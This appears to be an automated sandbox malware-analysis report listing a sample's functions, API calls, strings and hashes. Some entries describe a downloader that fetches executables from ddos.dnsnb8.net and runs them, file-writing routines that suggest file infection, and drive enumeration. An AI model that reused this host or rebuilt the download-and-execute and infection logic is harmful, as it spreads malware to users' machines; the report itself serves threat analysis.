Instruction ID: 9d18d4506dd6977c92a245c3a99ef9cdc57a0d7a8baa44fa31150cc7beb4b9a2
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 1BE16B71D1031AEACF25DFE0CD89FEEB7B8AF04304F144169E909A6194EB746A45CF64

Function 022AD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022AD8EA

Strings

(, xrefs: 022ADAE9
$, xrefs: 022ADAE2
, xrefs: 022ADADB

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 4470b56041ed93f2b1ff60ed365f28a494f9da383ccfae9b9b14660e68fad561
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 1791CB70C10209EBEF21CFE0C869BEEBBB9AF05304F244569D40577685DBB65A48CFA4

Function 022C5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 022C5CF4

Strings

U, xrefs: 022C5CFD

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 1e71d7b20cf0d28c4c6d623c7e001d53e8844bdd5aa342ee17a5d34f4dfcb2bd
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 87213B322343096AEB149AE4DC45BBA739DDB45360FB0026DF909E6198FF70F9508A90

Function 022BA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022BA858
_memset.LIBCMT ref: 022BA869
_memset.LIBCMT ref: 022BA87A

Strings

p2Q, xrefs: 022BA882

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 6aa9a682185ce21c0bcba22d9e143fe66c324d1b53861f111dc364f744a845d3
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 9BF0ED78698B50A5F7217790BC27B857E917B31B09F104188E1182E2E5D3FD238CA79A

Function 022EFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022EFBF1

Part of subcall function 022D169C: std::exception::_Copy_str.LIBCMT ref: 022D16B5

__CxxThrowException@8.LIBCMT ref: 022EFC06

Strings

TeM, xrefs: 022EFBFE
TeM, xrefs: 022EFBE7, 022EFBFB

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: daf76cdd856701530ee89d82740defcbc837c52d6f9a996960b24dc3f81a0c39
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: FCD06779C0034CBBCB04EFA5D459CDDBBB9AA04344B408466A91897645EB74A3598FD4

Function 022AD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 022C197D: __wfsopen.LIBCMT ref: 022C1988

_fgetws.LIBCMT ref: 022AD15C

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 22ab7f40aee55c2d285be8c755250adf7eadc2874c8713eac090ffbc6062583a
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: DB91E271D2031ADBCF21DFE4CC907AEB7B5AF04304F240629E815A7A49E7B5AA14CF91

Function 022AD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 022AD77E
_malloc.LIBCMT ref: 022AD7B2
_malloc.LIBCMT ref: 022AD7C1
_fprintf.LIBCMT ref: 022AD815

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: c5b2aeae95568ae2dd73b4b1de35fda786575d1e92d8679623ae512c6f3ddf86
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 0FA19DB0C10348EBEF11EFE4CC55BEEBB76AF14308F140128D5057A695E7B65A48CBA6

Function 022C2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 022C2B2E
__read_nolock.LIBCMT ref: 022C2BFE
__filbuf.LIBCMT ref: 022C2C21
_memset.LIBCMT ref: 022C2C65

Part of subcall function 022C5BA8: __getptd_noexit.LIBCMT ref: 022C5BA8

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 833ded753d0ac6bb46b1e440d4698e630b69511d68226b80051cdcce58d1e34e
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 99517270A20706DBDB258EF9C98466EB7A5AF40324F34872DEC35962D8DFB19A51CB40

Function 022E1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 022E137D

Part of subcall function 022E1A9D: __fltout2.LIBCMT ref: 022E1AC6

__cftog_l.LIBCMT ref: 022E13A3
__cftoe_l.LIBCMT ref: 022E13D5

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 05107b3d5d973528772de5bf39d0121bfa4aa3334438423c31cd79fd08fb3898
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: EF014B3242014ABBCF125EC4DC01CEE3F63BB19355B888525FA5E58538D376C9B1BB81

Function 02367A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02367A4B

Part of subcall function 02368140: ___BuildCatchObjectHelper.LIBCMT ref: 02368172
Part of subcall function 02368140: ___AdjustPointer.LIBCMT ref: 02368189

_UnwindNestedFrames.LIBCMT ref: 02367A62
___FrameUnwindToState.LIBCMT ref: 02367A74
CallCatchBlock.LIBCMT ref: 02367A98

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: aecca86b637c097e558c5d4e0cafba8720bac97b976e96bf360130365f570364
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 9D011732000109BBDF22AF55CC09EEA7BBEEF48758F148014F91865224C376E961DFA0

Function 00407756 Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00407762

Part of subcall function 00406228: __getptd_noexit.LIBCMT ref: 0040622B
Part of subcall function 00406228: __amsg_exit.LIBCMT ref: 00406238

__getptd.LIBCMT ref: 00407779
__amsg_exit.LIBCMT ref: 00407787
__lock.LIBCMT ref: 00407797

Memory Dump Source

Source File: 00000000.00000002.1441717123.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1441695979.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441879242.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441915825.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441947953.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441977196.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441998150.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: ae459c71812be79e28fa2f95b4eaccffeebbc98b1955bbcf13dc928cbe60cf2b
Instruction ID: 369fc0028dd21354552696a2285bf33a6c3f67924ec3c952725866c4515c0c5b
Opcode Fuzzy Hash: ae459c71812be79e28fa2f95b4eaccffeebbc98b1955bbcf13dc928cbe60cf2b
Instruction Fuzzy Hash: AAF0CD72D84600ABD320BB669402B4D72A06B44765F510A3FA610BB2C2CB7CB9018B5B

Analysis Process: lgYdZ.exePID: 7344, Parent PID: 7328COMMON

Execution Graph

Execution Coverage:	32.2%
Dynamic/Decrypted Code Coverage:	10.4%
Signature Coverage:	18.9%
Total number of Nodes:	297
Total number of Limit Nodes:	12

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 002E29E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 002E2A02
wsprintfA.USER32 ref: 002E2A1A
memset.MSVCRT ref: 002E2A44
lstrlen.KERNEL32(?), ref: 002E2A54
lstrcpyn.KERNEL32(?,?,-00000001), ref: 002E2A6C
strrchr.MSVCRT ref: 002E2A7C
lstrcmpiA.KERNEL32(?,Documents and Settings), ref: 002E2A9F
lstrlen.KERNEL32(Documents and Settings), ref: 002E2AAE
memset.MSVCRT ref: 002E2AC6
memset.MSVCRT ref: 002E2ADA
FindFirstFileA.KERNEL32(?,?), ref: 002E2AEF
memset.MSVCRT ref: 002E2B13
lstrcmpiA.KERNEL32(?,?), ref: 002E2B42
FindNextFileA.KERNEL32(00000000,?,?,?,?), ref: 002E2B67
FindClose.KERNEL32(00000000), ref: 002E2B6E

Strings

C:\, xrefs: 002E2A2F
Documents and Settings, xrefs: 002E2A8D, 002E2A92, 002E2A9A, 002E2AAD
%s*, xrefs: 002E2A14

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
String ID: %s*$C:\$Documents and Settings
API String ID: 2826467728-110786608
Opcode ID: ae6f0b5934754448e198ec38371011d32d1613922f38b13457e43b36c1e834a9
Instruction ID: c56e0cbdfc35f81ae194b60da7c85cb0978ab86d43fdbc97cad21922b9f02961
Opcode Fuzzy Hash: ae6f0b5934754448e198ec38371011d32d1613922f38b13457e43b36c1e834a9
Instruction Fuzzy Hash: 6E4183B2454289EFD720DF91EC8CEEB77ACEB85315F44082AF945C7111E630965C8BA1

Function 002E1099 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 74
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002E185B: GetSystemTimeAsFileTime.KERNEL32(002E1F92,00000000,?,00000000,?,?,?,002E1F92,?,00000000,00000002), ref: 002E1867
Part of subcall function 002E185B: srand.MSVCRT ref: 002E1878
Part of subcall function 002E185B: rand.MSVCRT ref: 002E1880
Part of subcall function 002E185B: srand.MSVCRT ref: 002E1890
Part of subcall function 002E185B: rand.MSVCRT ref: 002E1894

WinExec.KERNEL32(?,00000005), ref: 002E10F1
lstrlen.KERNEL32(002E4748), ref: 002E10FA
wsprintfA.USER32 ref: 002E112A
wsprintfA.USER32 ref: 002E1143
URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 002E115B
lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 002E1169
Sleep.KERNEL32 ref: 002E1179

Strings

%s%.8X.exe, xrefs: 002E1124
cj/, xrefs: 002E1135
C:\Users\user\AppData\Local\Temp\, xrefs: 002E1119
ddos.dnsnb8.net, xrefs: 002E10C8, 002E10CF, 002E1140, 002E1168
http://%s:%d/%s/%s, xrefs: 002E10C2, 002E1141
HG., xrefs: 002E112C

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
String ID: %s%.8X.exe$C:\Users\user\AppData\Local\Temp\$HG.$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
API String ID: 1280626985-2820327231
Opcode ID: ffa46bd9bde4eb165f32cd6917a0df782e40c83de35002edc893835fd1edb634
Instruction ID: 22ee8be47642edab77050c7edb27d78a64b89ac3587b57f04d89453d14d78afd
Opcode Fuzzy Hash: ffa46bd9bde4eb165f32cd6917a0df782e40c83de35002edc893835fd1edb634
Instruction Fuzzy Hash: DF21B5719902C8BFDB20EBA1EC8CFAEBB7DAB05315F9100A5E504A7051D7745BA4CF60

Function 002E6076 Relevance: 14.6, APIs: 7, Strings: 1, Instructions: 614
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00001800,00001000,00000004), ref: 002E60BE
VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 002E60DF
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?), ref: 002E6189
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 002E61A5

Strings

kernel32.dll, xrefs: 002E64A7

Memory Dump Source

Source File: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: kernel32.dll
API String ID: 2087232378-1793498882
Opcode ID: d416a543924cbc3150ccb236001b7be1e91a636c4a441277f7555b5c6164ceb8
Instruction ID: 7ce47b3b65676d75411c174c710d45d359522cb17b11305e2a2e30bdac8f48dd
Opcode Fuzzy Hash: d416a543924cbc3150ccb236001b7be1e91a636c4a441277f7555b5c6164ceb8
Instruction Fuzzy Hash: 2E1268715A87C68FDB328F25CC497EA3BB4EF22350F98059DDD898B293D274A920C751

Function 002E1718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user\AppData\Local\Temp\lgYdZ.exe), ref: 002E1729
SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 002E174C
SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 002E177C
__aulldiv.LIBCMT ref: 002E1796
__aulldiv.LIBCMT ref: 002E17A8

Strings

SOFTWARE\GTplus, xrefs: 002E1742, 002E176B
Time, xrefs: 002E173D, 002E1766
C:\Users\user\AppData\Local\Temp\lgYdZ.exe, xrefs: 002E1722

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: TimeValue__aulldiv$FileSystem
String ID: C:\Users\user\AppData\Local\Temp\lgYdZ.exe$SOFTWARE\GTplus$Time
API String ID: 541852442-1184508725
Opcode ID: 11e2f0054a6b6a883e82b6375453f1297fdbe6a74beb0e0aff943498563300e6
Instruction ID: 5e351207f32e58f1d72aa9e882d1c181fb8c4f95146fd92fc119886fe753c987
Opcode Fuzzy Hash: 11e2f0054a6b6a883e82b6375453f1297fdbe6a74beb0e0aff943498563300e6
Instruction Fuzzy Hash: 36119671A90249BBEB10DA96CCC9FEFBBBCEB05B11F508025F915A7140D7709A64CB60

Function 002E2B8C Relevance: 10.6, APIs: 7, Instructions: 74
threadstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 002E2BA6
GetLogicalDriveStringsA.KERNEL32(00000050,?), ref: 002E2BB4
GetDriveTypeA.KERNEL32(?), ref: 002E2BD3
CreateThread.KERNEL32(00000000,00000000,002E2B7D,?,00000000,00000000), ref: 002E2BEE
lstrlen.KERNEL32(?), ref: 002E2BFB
WaitForMultipleObjects.KERNEL32(?,?,00000001,000000FF), ref: 002E2C16
CreateThread.KERNEL32(00000000,00000000,002E2845,00000000,00000000,00000000), ref: 002E2C3A

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: CreateDriveThread$LogicalMultipleObjectsStringsTypeWaitlstrlenmemset
String ID:
API String ID: 1073171358-0
Opcode ID: fb53f6fa39347652d3c78dcbd46605e76176e1e2715ea38a43fc572842fb08ed
Instruction ID: 37bf9b567d0e51becc5862f158da31dd4576dd5addf87f48b33df446fd7f19a8
Opcode Fuzzy Hash: fb53f6fa39347652d3c78dcbd46605e76176e1e2715ea38a43fc572842fb08ed
Instruction Fuzzy Hash: D621F9B14801CDEFE720DF61EC88EAE7B6CFB05349B550119F84293051D3208D1ACB60

Function 002E1E6E Relevance: 44.1, APIs: 20, Strings: 5, Instructions: 380
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,002E32B0,00000164,002E2986,?), ref: 002E1EB9
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00000080,00000000), ref: 002E1ECD
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,00000000,00000000), ref: 002E1EF3
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 002E1F07
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000400), ref: 002E1F1D
FlushViewOfFile.KERNEL32(?,00000400,?,00000000,00000000,?,00000000,00000002), ref: 002E201E
memset.MSVCRT ref: 002E20D8
memset.MSVCRT ref: 002E20EA
memcpy.MSVCRT ref: 002E222D
UnmapViewOfFile.KERNEL32(?,?,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 002E2238
FindCloseChangeNotification.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 002E224A
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,?,00000000,00000000,?,00000000,00000002), ref: 002E22C6
SetEndOfFile.KERNEL32(000000FF,?,?,?,00000000,00000000,?,00000000,00000002), ref: 002E22CB
SetFilePointer.KERNEL32(000000FF,?,00000000,00000002,?,?,?,00000000,00000000,?,00000000,00000002), ref: 002E22DD
WriteFile.KERNEL32(000000FF,002E4008,00000271,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 002E22F7
WriteFile.KERNEL32(000000FF,?,00000000,?,?,?,00000000,00000000,?,00000000,00000002), ref: 002E230D
FindCloseChangeNotification.KERNEL32(000000FF,000000FF,00000001,?,?,?,00000000,00000000,?,00000000,00000002), ref: 002E2322
UnmapViewOfFile.KERNEL32(?,?,002E32B0,00000164,002E2986,?), ref: 002E2340
FindCloseChangeNotification.KERNEL32(?,?,002E32B0,00000164,002E2986,?), ref: 002E234E
CloseHandle.KERNEL32(000000FF,?,002E32B0,00000164,002E2986,?), ref: 002E2359

Strings

.@., xrefs: 002E2274
5@., xrefs: 002E2282
C@., xrefs: 002E229E
m@., xrefs: 002E1E8F, 002E225A
<@., xrefs: 002E2290

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: File$CloseView$ChangeFindNotificationPointer$CreateUnmapWritememset$AttributesFlushHandleMappingmemcpy
String ID: .@.$5@.$<@.$C@.$m@.
API String ID: 307705342-1589401257
Opcode ID: 9fe4da5c3339925fbfe51e30d24b28d7fed87ce2ef68c089236148f740af857a
Instruction ID: a4cbea674638ce309a5c0477bf57ebe65bba4134eb21f3f756612074ae6c0a2c
Opcode Fuzzy Hash: 9fe4da5c3339925fbfe51e30d24b28d7fed87ce2ef68c089236148f740af857a
Instruction Fuzzy Hash: BFF1C471990249EFCF20DFA5DC84AADBBB9FF08314F50452AE51AAB251D730ADA5CF10

Function 002E1973 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 144
filesleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.SHLWAPI(\N.`N.,00000000,C:\Users\user\AppData\Local\Temp\lgYdZ.exe), ref: 002E1992
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 002E19BA
Sleep.KERNEL32(00000064), ref: 002E19C6
wsprintfA.USER32 ref: 002E19EC
CopyFileA.KERNEL32(?,?,00000000), ref: 002E1A00
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002E1A1E
GetFileSize.KERNEL32(?,00000000), ref: 002E1A2C
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 002E1A46
ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 002E1A65
FindCloseChangeNotification.KERNEL32(000000FF), ref: 002E1A90
DeleteFileA.KERNEL32(?), ref: 002E1AA7
VirtualFree.KERNEL32(?,00000000,00008000), ref: 002E1AC1

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 002E19DB
\N.`N., xrefs: 002E1980
%s%.8X.data, xrefs: 002E19E6
C:\Users\user\AppData\Local\Temp\lgYdZ.exe, xrefs: 002E197C

Memory Dump Source

Source File: 00000001.00000002.1586622280.00000000002E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000001.00000002.1586600309.00000000002E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586642878.00000000002E3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586667526.00000000002E4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1586690211.00000000002E6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2e0000_lgYdZ.jbxd

Similarity

API ID: File$CreateVirtual$AllocChangeCloseCopyDeleteExistsFindFreeNotificationPathReadSizeSleepwsprintf
String ID: %s%.8X.data$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\lgYdZ.exe$\N.`N.
